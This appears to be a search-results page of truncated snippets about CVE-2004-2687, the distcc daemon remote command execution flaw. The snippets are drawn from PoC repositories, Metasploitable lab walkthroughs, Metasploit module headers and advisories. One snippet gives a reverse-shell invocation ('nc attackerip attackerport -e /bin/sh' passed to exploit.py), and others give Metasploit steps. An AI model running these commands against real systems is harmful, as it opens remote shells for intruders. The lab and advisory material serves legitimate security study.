13 matches found
distccd_rce_CVE-2004-2687
distccdrceCVE-2004-2687 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2004-2687 ️⃣ 升级到Python3 概述 该仓库包含针对 distccd 漏洞（标识为 CVE-2004-2687）的概念验证 PoC 利用程序。该漏洞存在于 distccd 守护进程中，该进程是 distcc 分布式 C/C++ 编译系统的一部分。当配置不当时，distccd 允许远程攻击者无需任何身份验证即可在服务器上执行任意命令。 漏洞详情 distcc 旨在将编译任务分布到多台机器上，以加速构建过程。然而，如果 distccd 守护进程未得到适当保护，它会暴露远程代码执行...
Metasploitable-2-Distcc-Exploit-via-Kali-Linux-CVE-2004-2687
🎬 这个 YouTube 视频 1️⃣ 目标识别（Nmap） nmap -sV -p 3632 192.168.56.102 ✅ 结果如下： 3632/tcp open distccd v1 👉 所以 distcc 是开放的并且可被利用。 2️⃣ 启动 Metasploit msfconsole 3️⃣ 选择 Distcc 漏洞利用 use exploit/unix/misc/distccexec 4️⃣ 检查设置 show options 必要参数： 选项| 值 ---|--- RHOSTS| Metasploitable IP RPORT| 3632 PAYLOAD|...
distccd_rce_CVE-2004-2687
此脚本的目标不是使用 Metasploit，而是手动执行。 用法： nc -lvnp 4466 运行漏洞利用： python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...
CyberSecurity-Pentest-Lab
Distcc 3.2.1 — 远程代码执行 CVE-2004-2687 渗透测试实验室：针对隔离实验室环境中的 Metasploitable 2（Kali Linux 作为攻击方），对 Distcc 3.2.1 中一个未认证 RCE 漏洞进行识别、利用与修复。 学术/教育练习。所有 IP 均为实验室私有地址（RFC1918）。 摘要 | ---|--- 目标| Metasploitable 2 Linux 实验室 IP| 192.168.91.129 服务| Distcc 3.2.1 端口| 3632/TCP CVE| CVE-2004-2687 结果| 确认未认证 RCE，获得 roo...
VulnLinux-Exploitation
Lab 01: Vulnerable Linux Reconnaissance + Enumeration + Remote...
Fedora 29 : distcc (2019-dfef0af227)
Restrict default configuration to localhost. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. C...
DistCC Daemon - Command Execution
No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require...
CVE-2004-2687
distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks...
CVE-2004-2687
CVE-2004-2687 concerns distcc (distccd) where, if the server port is not access-restricted, remote attackers can execute arbitrary commands via compilation jobs. The core issue is lack of authorization checks in the distccd daemon when handling distributed compilation requests. Affected scope app...
DistCC Daemon Command Execution
This module uses a documented security weakness to execute arbitrary commands on any system running distccd. Module Options msf use exploit/unix/misc/distcc/exec msf undefinedexec show actions ...actions... msf undefinedexec set ACTION msf undefinedexec show options ...show and set options... msf...
DistCC Daemon Command Execution
No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require...
DistCC Daemon - Command Execution (Metasploit)
DistCC Daemon - Command Execution Metasploit $Id: distccexec.rb 9669 2010-07-03 03:13:45Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and term...
DistCC Daemon - Command Execution (Metasploit)
$Id: distccexec.rb 9669 2010-07-03 03:13:45Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...